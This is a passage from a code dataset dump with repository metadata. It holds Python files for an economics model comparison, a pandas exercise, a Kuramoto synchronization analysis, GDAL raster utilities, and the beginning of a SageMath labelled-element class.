0.96\n#base_params_dolo['CubicBool']    = False\nmodel_HARK = IndShockConsumerType(**base_params_dolo,cycles=0) # cycles=0 indicates infinite horizon\n\n# %%\n# Solve the HARK model \nmodel_HARK.updateIncomeProcess()\nmodel_HARK.solve()\nmodel_HARK.UnempPrb = 0.05\nmodel_HARK.unpackcFunc()\n\n# %%\n\n# Plot the results: Green is perfect foresight, red is HARK, black is dolo\ntab = tabulate(model_dolo, dr, 'm')\nplt.plot(tab['m'],tab['c'])     # This is pretty cool syntax\nm = tab.iloc[:,2]\nc_m  = model_HARK.cFunc[0](m)   \n# cPF uses the analytical formula for the perfect foresight solution\ncPF = (np.array(m)-1+1/(1-PermGroFac/Rfree))*((Rfree-(Rfree * DiscFac)**(1/CRRA))/Rfree)\nplt.plot(tab['m'],c_m,color=\"red\")\nplt.plot(m,cPF,color=\"green\")\n", "meta": {"hexsha": "e340d2a8695ccbb8f30f4fbf001bac338ff6224e", "size": 13765, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/notebooks/BufferStock-HARK-vs-dolo.py", "max_stars_repo_name": "iworld1991/dolo", "max_stars_repo_head_hexsha": "d70ccbe1254c8fc9a4fb8b0f7f2524140deebaf5", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/notebooks/BufferStock-HARK-vs-dolo.py", "max_issues_repo_name": "iworld1991/dolo", "max_issues_repo_head_hexsha": "d70ccbe1254c8fc9a4fb8b0f7f2524140deebaf5", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/notebooks/BufferStock-HARK-vs-dolo.py", "max_forks_repo_name": "iworld1991/dolo", "max_forks_repo_head_hexsha": "d70ccbe1254c8fc9a4fb8b0f7f2524140deebaf5", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.4608433735, "max_line_length": 354, "alphanum_fraction": 0.6852887759, "include": true, "reason": "import numpy", "num_tokens": 4006, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.134775915685312, "lm_q1q2_score": 0.06580884171492929}}
{"text": "import pandas as pd\nimport numpy as np\nobj = pd.Series(range(5), index=list('aabbc'))\nobj\nobj.index\nobj.index.is_unique()\nobj.index.is_unique\nobj['a']\nobj['b']\ndf = pd.DataFrame(np.random.randn(4, 3), index=list('aabb'))\ndf\ndf.loc['a']\ndf.loc['b']\n", "meta": {"hexsha": "a417535ddc9afae4d48e37bd3fff504163ddf8c7", "size": 248, "ext": "py", "lang": "Python", "max_stars_repo_path": "PythonForDA/ch05/dup_index.py", "max_stars_repo_name": "eroicaleo/LearningPython", "max_stars_repo_head_hexsha": "297d46eddce6e43ce0c160d2660dff5f5d616800", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-10-12T13:33:29.000Z", "max_stars_repo_stars_event_max_datetime": "2020-10-12T13:33:29.000Z", "max_issues_repo_path": "PythonForDA/ch05/dup_index.py", "max_issues_repo_name": "eroicaleo/LearningPython", "max_issues_repo_head_hexsha": "297d46eddce6e43ce0c160d2660dff5f5d616800", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "PythonForDA/ch05/dup_index.py", "max_forks_repo_name": "eroicaleo/LearningPython", "max_forks_repo_head_hexsha": "297d46eddce6e43ce0c160d2660dff5f5d616800", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2016-11-09T07:28:45.000Z", "max_forks_repo_forks_event_max_datetime": "2016-11-09T07:28:45.000Z", "avg_line_length": 17.7142857143, "max_line_length": 60, "alphanum_fraction": 0.685483871, "include": true, "reason": "import numpy", "num_tokens": 78, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.13477590699708825, "lm_q1q2_score": 0.06580883747261389}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport os\nfrom sympy import *\nimport pandas as pd\nimport numpy as np\nimport scipy.fftpack\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nplt.style.use(\"seaborn-paper\")\n\ndef find_nearest(array, value):\n    array = np.asarray(array)\n    idx = (np.abs(array - value)).argmin()\n    return idx\n\n\n# ## Canvas palette\n\n# In[2]:\n\n\n#Canvas for single plot\nx = np.linspace(0,10,100)\ny = np.sin(x)\nplt.figure(figsize=[14,6])\nplt.grid(True)\nplt.title(\"Change-me!\",fontsize=20)\nplt.plot(x,y,label=\"testvalue\")\nplt.legend(fontsize=16)\nplt.xlabel(\"XLABEL (unit)\",fontsize=18)\nplt.ylabel(\"YLABEL (unit)\",fontsize=18)\nplt.show()\n\n\n# In[3]:\n\n\n#Canvas for side by side\nfig, axes = plt.subplots(nrows=1, ncols=2, figsize=(14,6))\nfig.suptitle(\"test\",y=1.05,fontsize=20)\n\naxes[0].grid(True)\naxes[0].plot(x,y,label=\"testvalue\")\naxes[0].legend(fontsize=16)\naxes[0].set_title(\"TESTTITLE\",fontsize=18)\naxes[0].set_xlabel(\"XLABEL (unit)\",fontsize=18)\naxes[0].set_ylabel(\"YLABEL (unit)\",fontsize=18)\naxes[0].legend(fontsize=16)\naxes[0].tick_params(axis='both', which='major', labelsize=15)\n\n\naxes[1].grid(True)\naxes[1].plot(x,y,label=\"testvalue\")\naxes[1].legend(fontsize=16)\naxes[1].set_title(\"TESTTITLE\",fontsize=18)\naxes[1].set_xlabel(\"XLABEL (unit)\",fontsize=18)\naxes[1].set_ylabel(\"YLABEL (unit)\",fontsize=18)\naxes[1].legend(fontsize=16)\naxes[1].tick_params(axis='both', which='major', labelsize=15)\n\nfig.tight_layout()\nplt.show()\n\n\n# In[4]:\n\n\n#Canvas for side by side\nfig, axes = plt.subplots(nrows=2, ncols=4, figsize=(14,6))\nfig.suptitle(\"test\",y=1.05,fontsize=20)\n\naxes[0,0].grid(True)\naxes[0,0].plot(x,y,label=\"testvalue\")\naxes[0,0].legend(fontsize=16)\naxes[0,0].set_title(\"TESTTITLE\",fontsize=18)\naxes[0,0].set_xlabel(\"XLABEL (unit)\",fontsize=18)\naxes[0,0].set_ylabel(\"YLABEL (unit)\",fontsize=18)\naxes[0,0].legend(fontsize=16)\naxes[0,0].tick_params(axis='both', which='major', labelsize=15)\n\n\naxes[0,1].grid(True)\naxes[0,1].plot(x,y,label=\"testvalue\")\naxes[0,1].legend(fontsize=16)\naxes[0,1].set_title(\"TESTTITLE\",fontsize=18)\naxes[0,1].set_xlabel(\"XLABEL (unit)\",fontsize=18)\naxes[0,1].set_ylabel(\"YLABEL (unit)\",fontsize=18)\naxes[0,1].legend(fontsize=16)\naxes[0,1].tick_params(axis='both', which='major', labelsize=15)\n\nfig.tight_layout()\nplt.show()\n\n\n# ## Read data\n\n# In[5]:\n\n\n#Folder and paths definitions\nmain_path  = os.getcwd()\ndatafolder_path = main_path+\"/results\"\nresults_dir = \"/output_py\" \noutput_dir = main_path+results_dir\ntry:\n    os.mkdir(output_dir)\nexcept OSError:\n    print (\"Creation of the directory %s failed\" % results_dir)\nelse:\n    print (\"Successfully created the directory %s \" % results_dir)\n\n\n# In[ ]:\n\n\n\n\n\n# In[6]:\n\n\n#Simulation parameters\nN = 5000\nT = 10000\nn_runs = 20\ndt = .01\nfreq = \"gfreq\"\nMF = \"MF\"\n\nif(freq ==\"gfreq\"):\n    freq_plot=\"$\\\\mathcal{N}(0,1)$ natural freqs\"\nelse:\n    freq_plot=\"Uniformly distributed freqs $\\\\in[-.5,.5]$\"\nif(MF ==\"MF\"):\n    MF_plot=\"MeanField\"\nelse:\n    MF_plot=\"non-MeanField\"\n\n\n# In[13]:\n\n\n#OutputFileNames\n#S/N --> |r(t)|/sigma(r(t))\nsn_name = \"S_N\"\n#(Mod&Phase)(t)\nmodphase_name = \"ModPhase_t\"\n#Spectrum\nspectrum_name = \"Spectrum\"\n#r_inf\nrinf_name = \"r_inf\"\n#Configuration-specific name\nconfig_name= \"/N%d_nruns%d_freq=%s_\"%(N,n_runs,freq)\n\n\n# In[19]:\n\n\n#K for simulation\nK_r0 = np.arange(0,1.4,.2) #da 0 a 1.2 a step di .2, note the last step is not included!\nK_r1 = np.arange(1.21,2.01,.01)\nK_r2 = np.arange(2.1,5.1,.1)\nKvalues = np.concatenate((K_r0,K_r1,K_r2))\nKvalues = np.unique(Kvalues, axis=0)\nprint(len(Kvalues))\nKvalues\n\n\n# In[9]:\n\n\n#Create dataframe dictionary. For each entry, first value is the K of the dataframe (second value)\ndata = []\nfor i in range(0,len(Kvalues)):\n    filename = datafolder_path + \"/%s_uphase_N%d_%s_T%d_dt%.4f_nruns%d_K%.3f.tsv\"%(freq,N,MF,T,dt,n_runs,Kvalues[i])\n    #cols refers to timestep, avgmod, stdmod, avgphase,stdphase (of order parameter)\n    df = pd.read_csv(filename,sep=\"\\t\",header=None)\n    data.append([format(Kvalues[i],'.3f'),df])\n\n\n# In[ ]:\n\n\n\n\n\n# ## Plots\n\n# In[18]:\n\n\n#Plot settings\nalph = 1\ntmax =100\n\nselected_index = [0,3,17,21,25,47]\nfig = plt.figure(figsize=[14,6])\nplt.grid(True)\nplt.title(\"N = %d, dt = %.3f, %s, n_runs = %d\" % (N,dt,freq_plot,n_runs),fontsize=20)\nfor i in selected_index:\n    plt.plot(data[i][1][0],data[i][1][1]/data[i][1][2],ls='--',marker='.',markersize=.5,label=\"K=%s\"%(data[i][0]),alpha=alph)\n    plt.semilogy()\n    plt.legend(fontsize=16)\nplt.xlabel(\"t\",fontsize=18)\nplt.ylabel(\"$\\\\frac{|r(t)|}{\\\\sigma(r(t))}$\",fontsize=20,rotation=0)\nplt.xlim(0,tmax)\n\nfig.tight_layout()\nplt.savefig(output_dir+config_name+sn_name)\nplt.show()\n\n\n# In[11]:\n\n\n#Plot settings\nalph = 1\ntmax =80\n\n\nfig, axes = plt.subplots(nrows=2, ncols=1, figsize=(14,6))\n\nfig.suptitle(\"N = %d, dt = %.3f, %s, n_runs = %d\"%(N,dt,freq_plot, n_runs),y=.95,fontsize=20)\n\naxes[0].grid(True)\n\nfor i in selected_index:\n    axes[0].errorbar(data[i][1][0],data[i][1][1],yerr=data[i][1][2],ls='--',linewidth=.5,fmt='.',markersize=.05, elinewidth=.5, capthick=.5,label=\"K=%s\"%(data[i][0]),alpha=alph)\n    axes[1].errorbar(data[i][1][0],data[i][1][3],yerr=data[i][1][4],ls='--',linewidth=.5,fmt='.',markersize=.05, elinewidth=.5, capthick=.5,label=\"K=%s\"%(data[i][0]),alpha=alph)\n\naxes[0].legend(fontsize=16)\naxes[0].set_title(\"|r(t)|\",fontsize=18)\naxes[0].set_xlabel(\"t\",fontsize=18)\naxes[0].set_ylabel(\"\",fontsize=18)\naxes[0].legend(fontsize=16,ncol=2)\naxes[0].set_xlim(0,tmax)\naxes[0].tick_params(axis='both', which='major', labelsize=15)\n\n\naxes[1].grid(True)\naxes[1].legend(fontsize=16)\naxes[1].set_title(\"Arg(r(t))\",fontsize=18)\naxes[1].set_xlabel(\"t\",fontsize=18)\naxes[1].set_ylabel(\"\",fontsize=18)\naxes[1].legend(fontsize=16,ncol=2)\naxes[1].set_xlim(0,tmax)\naxes[1].tick_params(axis='both', which='major', labelsize=15)\nfig.tight_layout()\n\nplt.subplots_adjust(top=.85)\nplt.savefig(output_dir+config_name+modphase_name)\nplt.show()\n\n\n# In[12]:\n\n\nmax_K_in_plot = 8\nmax_n_of_K_in_plot = 5\nidx_max_K_in_plot = find_nearest(Kvalues,max_K_in_plot)\n\nfig, axes = plt.subplots(nrows=2, ncols=3, figsize=(14,6))\nfig.suptitle(\"$\\\\mathcal{F}(r(t))$,\\nN = %d, dt = %.3f, %s, n_runs = %d\"%(N,dt,freq_plot, n_runs),y=1,fontsize=20)\ncounter1 = 0\ncounter2 = 0\nfor i in selected_index:\n    if(counter1<len(selected_index)/2):\n        axes[0,counter1].grid(True)\n        im = axes[0,counter1].specgram(data[i][1][1],Fs=1/dt)\n        axes[0,counter1].set_title(\"K = %s\"%(data[i][0]),fontsize=18)\n        axes[0,counter1].set_xlabel(\"t\",fontsize=18)\n        axes[0,counter1].set_ylabel(\"Freq.\",fontsize=18)\n        axes[0,counter1].tick_params(axis='both', which='major', labelsize=15)\n        counter1 = counter1+1\n    else:  \n        axes[1,counter2].grid(True)\n        im = axes[1,counter2].specgram(data[i][1][1],Fs=1/dt)\n        axes[1,counter2].set_title(\"K = %s\"%(data[i][0]),fontsize=18)\n        axes[1,counter2].set_xlabel(\"t\",fontsize=18)\n        axes[1,counter2].set_ylabel(\"Freq.\",fontsize=18)\n        axes[1,counter2].tick_params(axis='both', which='major', labelsize=15)\n        counter2 = counter2+1\n\nfig.tight_layout()\nplt.subplots_adjust(top=.85)\n\nplt.savefig(output_dir+config_name+spectrum_name)\n\nplt.show()\n\n\n# In[20]:\n\n\n#for r_inf evaluation\nKval_list = []\nr_inf = []\nr_inf_err = []\nlast_percent = .9\nfor i in range(0,len(Kvalues)):\n    r_inf.append([np.mean(data[i][1][1][int(len(data[i][1][1])*last_percent):])])\n    r_inf_err.append([np.std(data[i][1][1][int(len(data[i][1][1])*last_percent):])])\n    Kval_list.append([Kvalues[i]])\n\n\n# # ADD ERRORBARS\n\n# In[ ]:\n\n\n\nfig = plt.figure(figsize=[14,6])\nplt.grid(True)\nplt.title(\"N = %d, dt = %.3f, %s, n_runs = %d\"%(N,dt,freq_plot, n_runs),y=1,fontsize=20)\n#plt.errorbar(Kval_list,r_inf,y_err=r_inf_err,label=\"testvalue\")\nplt.errorbar(Kval_list,r_inf,ls='--',linewidth=.5,fmt='.',markersize=5, elinewidth=.5, capthick=.5,label=\"Average on last %d steps\"%((1-last_percent)*T+1))\nplt.legend(fontsize=16)\nplt.xlabel(\"K\",fontsize=18)\nplt.ylabel(\"$r_{\\\\infty}$\",fontsize=18,rotation=0)\n\nfig.tight_layout()\nplt.savefig(output_dir+config_name+rinf_name)\n\nplt.show()\n\n\n\n\n", "meta": {"hexsha": "ad838cfa1f6c86ea2cb39dc13df1710e9a5c6d1d", "size": 8071, "ext": "py", "lang": "Python", "max_stars_repo_path": "Code/Python/Main_analysis.py", "max_stars_repo_name": "spicella/Intro_to_ComplexSystems-Kuramoto", "max_stars_repo_head_hexsha": "64c027f1f0d16b2358d6889de453c1474d3dea6b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-01-04T22:36:10.000Z", "max_stars_repo_stars_event_max_datetime": "2020-01-04T22:36:10.000Z", "max_issues_repo_path": "Code/Python/Main_analysis.py", "max_issues_repo_name": "spicella/Intro_to_ComplexSystems-Kuramoto", "max_issues_repo_head_hexsha": "64c027f1f0d16b2358d6889de453c1474d3dea6b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-01-01T16:13:24.000Z", "max_issues_repo_issues_event_max_datetime": "2020-01-01T16:13:24.000Z", "max_forks_repo_path": "Code/Python/Main_analysis.py", "max_forks_repo_name": "spicella/IntroCS-Kuramoto", "max_forks_repo_head_hexsha": "64c027f1f0d16b2358d6889de453c1474d3dea6b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.1646706587, "max_line_length": 177, "alphanum_fraction": 0.6740180895, "include": true, "reason": "import numpy,import scipy,from sympy", "num_tokens": 2725, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3886180267058489, "lm_q2_score": 0.16885695214168314, "lm_q1q2_score": 0.06562085553686486}}
{"text": "\"\"\"\r\nFunctions for georeferenced gridded data I/O. Configured to read geotiffs in as ndarrays\r\nand print ndarrays to geotiffs. Geotiffs can be converted to PNG and JPEG images.\r\n\r\nAuthor: Gina O'Neil\r\n\"\"\"\r\n\r\nfrom osgeo import gdal, gdal_array, ogr\r\nimport numpy as np\r\nimport subprocess\r\nimport sys\r\nimport scipy\r\nfrom scipy import stats\r\nimport os\r\nimport time\r\n\r\ndef gtiff_to_arr(path_to_file, dtype):\r\n    \"\"\"\r\n    :param path_to_file: filepath to input geotiff\r\n    :param dtype: datatype of pixels\r\n    :return: ndarray\r\n    \"\"\"\r\n\r\n    if path_to_file[-3:] != \"tif\":\r\n        print (\"Wetland ID tool is only configured to process geotiffs. \\n\")\r\n        return None\r\n\r\n    else:\r\n        print (\"Reading in %s as an array...\" %(os.path.basename(path_to_file) + '\\n'))\r\n        #TODO: look into benefits of switch to xarray dataframe stucture\r\n\r\n        #get geotiff metadata\r\n        tif_ds = gdal.Open(os.path.join(path_to_file), gdal.GA_ReadOnly)\r\n\r\n        driver = tif_ds.GetDriver()\r\n\r\n        prj = tif_ds.GetProjection()\r\n\r\n        ncol = tif_ds.RasterXSize\r\n\r\n        nrow = tif_ds.RasterYSize\r\n\r\n        ext = tif_ds.GetGeoTransform()\r\n\r\n        n_bands = tif_ds.RasterCount\r\n\r\n        pixel_res = ext[1]\r\n\r\n        #NOTE: all tiffs must be read in as float arrays in order to set missing values to np.nan \\\r\n        #this could be changed if there is a method to create geotiffs such that masked elements are NaN\r\n\r\n        #prepare empty array with target size tif_ds.GetRasterBand(1).DataType\r\n\r\n        if dtype == 'float':\r\n            gdal_type = gdal.GDT_Float32\r\n        elif dtype == 'int':\r\n            gdal_type = gdal.GDT_Int32\r\n        elif dtype == 'byte':\r\n            gdal_type = gdal.GDT_Byte\r\n\r\n        tif_as_array = np.zeros((tif_ds.RasterYSize, tif_ds.RasterXSize, tif_ds.RasterCount), \\\r\n                       gdal_array.GDALTypeCodeToNumericTypeCode(gdal_type))\r\n\r\n\r\n        print ('Array created from %s has shape:' %(os.path.basename(path_to_file)))\r\n        print (tif_as_array.shape, '\\n')\r\n\r\n        #populate the empty array\r\n        if n_bands > 1:\r\n            for b in range(tif_as_array.shape[2]):\r\n                tif_as_array[:, :, b] = tif_ds.GetRasterBand(b + 1).ReadAsArray()\r\n        else:\r\n            tif_as_array[:,:,0] = tif_ds.GetRasterBand(1).ReadAsArray()\r\n            tif_as_array = tif_as_array[:,:,0]\r\n\r\n            #save tiff meta data\r\n        tif_meta = { 'driver' : driver, 'prj' : prj, 'ncol' : ncol, 'nrow' : nrow, 'ext' : ext, 'nbands' : n_bands, 'pix_res' : pixel_res }\r\n    tif_ds = None\r\n\r\n    return tif_as_array, tif_meta\r\n\r\ndef arr_to_gtiff(data, data_meta, fpath, fname, dtype='float', nodata=-9999):\r\n    \"\"\"\r\n    :param data: ndarray\r\n    :param data_meta: (dict) georeferenced meta data for ndarray\r\n    :param fpath: output path\r\n    :param fname: output filename\r\n    :param dtype: target gdal data type\r\n    :param nodata: gdal no data value\r\n    :return: file path to output geotiff\r\n   \"\"\"\r\n\r\n    print (\"Writing array to geotiff: %s...\"%(fname) + '\\n')\r\n    if dtype == 'float':\r\n        gdal_type = gdal.GDT_Float32\r\n    elif dtype == 'int':\r\n        gdal_type = gdal.GDT_Int32\r\n    elif dtype == 'byte':\r\n        gdal_type = gdal.GDT_Byte\r\n    else:\r\n        sys.exit(\"Datatype not recognized, system exiting.....\")\r\n\r\n    saveas = os.path.join(fpath, fname)\r\n    driver = data_meta['driver']\r\n    ncol, nrow = data_meta['ncol'], data_meta['nrow']\r\n    prj = data_meta['prj']\r\n    ext = data_meta['ext']\r\n    n_bands = data_meta['nbands']\r\n    out_raster_ds = driver.Create(saveas, ncol, nrow, n_bands, gdal_type, ['COMPRESS=LZW'])\r\n    out_raster_ds.SetProjection(prj)\r\n    out_raster_ds.SetGeoTransform(ext)\r\n\r\n    if n_bands > 1:\r\n        for b in range(n_bands):\r\n            out_raster_ds.GetRasterBand(b + 1).WriteArray(data[:, :, b])\r\n            band = out_raster_ds.GetRasterBand(b + 1)\r\n            band.SetNoDataValue(nodata)\r\n    else:\r\n        out_raster_ds.GetRasterBand(1).WriteArray(data)\r\n        band = out_raster_ds.GetRasterBand(1)\r\n        band.SetNoDataValue(nodata)\r\n    # Close dataset\r\n    out_raster_ds = None\r\n\r\n    cmd_info = 'gdalinfo.exe -stats \\\"%s\\\"'%(saveas)\r\n    subprocess.call(cmd_info, shell = False)\r\n    return saveas\r\n\r\ndef gtiff_to_img(tif_in, fpath, fname, img_type, no_data_val):\r\n    \"\"\"\r\n    :param tif_in: filepath to geotiff to be converted\r\n    :param fpath: (str) img out file path\r\n    :param fname: (str) img out filename\r\n    :param img_type: (str) \"JPG\" or \"PNG\", n_bands > 1 should use JPG\r\n    :return: filepath to new img\r\n    \"\"\"\r\n    imgout = os.path.join(fpath, fname)\r\n\r\n    if img_type == \"JPG\":\r\n        list_options = [\r\n            '-ot Byte',\r\n            '-of JPEG',\r\n            '-scale',  # inputs are scaled to 0-255\r\n            '-co QUALITY=100 TILED=YES'#,\r\n            #'-a_nodata {}'.format(no_data_val)\r\n        ]\r\n        options_string = \" \".join(list_options)\r\n\r\n    elif img_type == \"PNG\":\r\n        list_options = [\r\n            '-ot Byte',\r\n            '-of PNG'#,\r\n            # '-scale 0 1 1 2',  # change here to assign different values to gt classes\r\n            #'-a_nodata {}'.format(no_data_val)\r\n        ]\r\n        options_string = \" \".join(list_options)\r\n\r\n    else:\r\n        print (\"Only JPG or PNG images can be created.\")\r\n        return \"\"\r\n\r\n    gdal.Translate(imgout, tif_in, options=options_string)\r\n\r\n    print (\"Converted {} to {} image!\".format(os.path.basename(tif_in), img_type))\r\n\r\n    return imgout\r\n\r\n# TODO: def array_to_img(data, datameta, fpath, fname, dtype='float', nodata=-9999, ext):\r\n\r\ndef clean_array(arr, no_data=None):\r\n    \"\"\"\r\n    :param arr: Ndarray\r\n    :param no_data: no data value if known, otherwise will be guessed by taking mode of corner values\r\n    :return: clean array where no data values are masked\r\n    \"\"\"\r\n    if no_data==None:\r\n        if np.ndim(arr) > 2:\r\n            nan_val_list = [arr[0,0,0], arr[-1,-1,0], arr[0,-1,0], arr[-1,0,0] ]\r\n            nan_val_mode = stats.mode(nan_val_list, axis=0)\r\n            nan_val = nan_val_mode[0].item()\r\n            print (\"Detected %f to be a NaN Value.\" %(nan_val))\r\n            tif_arr_mask = np.ma.masked_values(arr, nan_val)\r\n\r\n        else:\r\n            nan_val_list = [arr[0,0], arr[-1,-1], arr[0,-1], arr[-1,0] ]\r\n            nan_val_mode = stats.mode(nan_val_list, axis=0)\r\n            nan_val = nan_val_mode[0].item()\r\n            print (\"Detected %f to be a NaN Value.\" %(nan_val))\r\n            tif_arr_mask = np.ma.masked_values(arr, nan_val)\r\n    else:\r\n        nan_val = no_data\r\n        tif_arr_mask = np.ma.masked_values(arr, nan_val)\r\n\r\n    tif_arr_clean = tif_arr_mask.reshape(np.shape(arr))\r\n\r\n    return tif_arr_clean\r\n\r\ndef clip_geotif(tif_in, fpath, clip_bounds, suf = \"_c.tif\", no_data=-9999.):\r\n    \"\"\"\r\n    :param tif_in: input geotif\r\n    :param fpath: output filepath\r\n    :param clip_bounds: shapefile to use as clipping bounds\r\n    :param suf: suffix to add to tif_in base name\r\n    :param no_data: optional no data value\r\n    :return: filepath to clipped geotif\r\n    \"\"\"\r\n    tif_ds = gdal.Open(tif_in, gdal.GA_ReadOnly)\r\n    tif_name = os.path.basename(tif_in)\r\n    ext = tif_ds.GetGeoTransform()\r\n    pix_res = float(ext[1])\r\n    tif_out = os.path.join(fpath, tif_name[:-4] + suf)\r\n\r\n    cmd = \"gdalwarp.exe -cutline \\\"%s\\\" -dstnodata %d -tr %f %f -overwrite -r bilinear \\\r\n        -crop_to_cutline \\\"%s\\\" \\\"%s\\\"\" %(clip_bounds, no_data, pix_res, pix_res, tif_in, tif_out)\r\n\r\n    cmd_info = 'gdalinfo.exe -stats \\\"%s\\\"'%(tif_out)\r\n\r\n    subprocess.call(cmd)\r\n    subprocess.call(cmd_info)\r\n\r\n    print (\"%s has been clipped!\" %(tif_name))\r\n    return tif_out\r\n\r\ndef rasterize_simple(shp_in, fpath, fname, out_tif_val, pix_res):\r\n    \"\"\"\r\n    :param shp_in: shapefile to be rasterised\r\n    :param fpath: output filepath\r\n    :param fname: output fileanme\r\n    :param out_tif_val: value to burn into new raster\r\n    :param pix_res: output pixel resolution\r\n    :return: filepath to new geotif raster\r\n    \"\"\"\r\n\r\n    tif_out = os.path.join(fpath, fname)\r\n\r\n    cmd = \"gdal_rasterize -burn %f -a_nodata -9999. -ot Float32 -tr %f %f %s %s\" \\\r\n    %(out_tif_val, pix_res, pix_res, shp_in, tif_out)\r\n\r\n    cmd_info = 'gdalinfo.exe -stats \\\"%s\\\"'%(tif_out)\r\n\r\n    subprocess.call(cmd, shell = True)\r\n    subprocess.call(cmd_info, shell = True)\r\n\r\n    print (\"%s has been created! \\n\" %(tif_out))\r\n\r\n    return tif_out\r\n\r\ndef rasterize_opts(shp_in, fpath, fname, out_tif_val, pix_res, ext, outter_vals):\r\n    \"\"\"\r\n    :param shp_in: shapefile to be rasterised\r\n    :param fpath: output filepath\r\n    :param fname: output fileanme\r\n    :param out_tif_val: value to burn into new raster\r\n    :param pix_res: output pixel resolution\r\n    :param ext: ext of output raster, list of xmin, ymin, xmax, ymax\r\n    :param outter_vals: pixel values for pixels outside of shapefile but within extents\r\n    :return: filepath to new geotif raster\r\n    \"\"\"\r\n\r\n    tif_out = os.path.join(fpath, fname)\r\n\r\n    cmd = \"gdal_rasterize -init %f -burn %f -a_nodata -9999. -ot Float32 -co COMPRESS=LZW -te %f %f %f %f -tr %f %f %s %s\" \\\r\n    %(outter_vals, out_tif_val, ext[0], ext[2], ext[1], ext[3], pix_res, pix_res, shp_in, tif_out)\r\n    print(cmd)\r\n\r\n    cmd_info = 'gdalinfo.exe -stats \\\"%s\\\"'%(tif_out)\r\n\r\n    subprocess.call(cmd, shell = True)\r\n    subprocess.call(cmd_info, shell = True)\r\n\r\n    print (\"%s has been created! \\n\" %(tif_out))\r\n\r\n    return tif_out\r\n\r\ndef create_verif(wetlands_shp, bounds_shp, fpath, pix_res):\r\n    \"\"\"\r\n    :param wetlands_shp: wetlands shapefile\r\n    :param bounds_shp: limits shapefile\r\n    :param fpath: output filepath\r\n    :param pix_res: output pixel resolution\r\n    :return: filepath to new verification raster\r\n    \"\"\"\r\n\r\n    inDriver = ogr.GetDriverByName(\"ESRI Shapefile\")\r\n    inDataSource = inDriver.Open(bounds_shp, 0)\r\n    inLayer = inDataSource.GetLayer()\r\n    bounds_ext = inLayer.GetExtent()\r\n    verif_tif = rasterize_opts(wetlands_shp, fpath, \"verif.tif\", 0., pix_res, bounds_ext, 1.)\r\n\r\n    return verif_tif\r\n", "meta": {"hexsha": "383e10979dfd2640635b57a31c4e5c4e34c8ca80", "size": 10036, "ext": "py", "lang": "Python", "max_stars_repo_path": "CNNs/raster_array_funcspy35.py", "max_stars_repo_name": "uva-hydroinformatics/wetland_identification", "max_stars_repo_head_hexsha": "21b797eec1f4babe5c4fb53441bc256385dc2094", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-12-23T17:56:48.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-01T20:16:05.000Z", "max_issues_repo_path": "CNNs/raster_array_funcspy35.py", "max_issues_repo_name": "uva-hydroinformatics/wetland_identification", "max_issues_repo_head_hexsha": "21b797eec1f4babe5c4fb53441bc256385dc2094", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "CNNs/raster_array_funcspy35.py", "max_forks_repo_name": "uva-hydroinformatics/wetland_identification", "max_forks_repo_head_hexsha": "21b797eec1f4babe5c4fb53441bc256385dc2094", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-04-28T21:48:40.000Z", "max_forks_repo_forks_event_max_datetime": "2020-04-28T21:48:40.000Z", "avg_line_length": 34.4879725086, "max_line_length": 140, "alphanum_fraction": 0.6170785173, "include": true, "reason": "import numpy,import scipy,from scipy", "num_tokens": 2824, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167941228965, "lm_q2_score": 0.1422318986458388, "lm_q1q2_score": 0.06557129393571734}}
{"text": "# -*- coding: utf-8 -*-\r\nr\"\"\"\r\nElements with labels.\r\n\r\nThis module implements a simple wrapper class for pairs consisting of\r\nan \"element\" and a \"label\".\r\nFor representation purposes (``repr``, ``str``, ``latex``), this pair\r\nbehaves like its label, while the element is \"silent\".\r\nHowever, these pairs compare like usual pairs (i.e., both element and\r\nlabel have to be equal for two such pairs to be equal).\r\nThis is used for visual representations of graphs and posets\r\nwith vertex labels.\r\n\"\"\"\r\n\r\nfrom sage.misc.latex import latex\r\n\r\n\r\nclass ElementWithLabel(object):\r\n    \"\"\"\r\n    Auxiliary class for showing/viewing :class:`Poset`s with\r\n    non-injective labelings.\r\n    For hashing and equality testing the resulting object behaves\r\n    like a tuple ``(element, label)``.\r\n    For any presentation purposes it appears just as ``label`` would.\r\n\r\n    EXAMPLES::\r\n\r\n        sage: P = Poset({1: [2,3]})\r\n        sage: labs = {i: 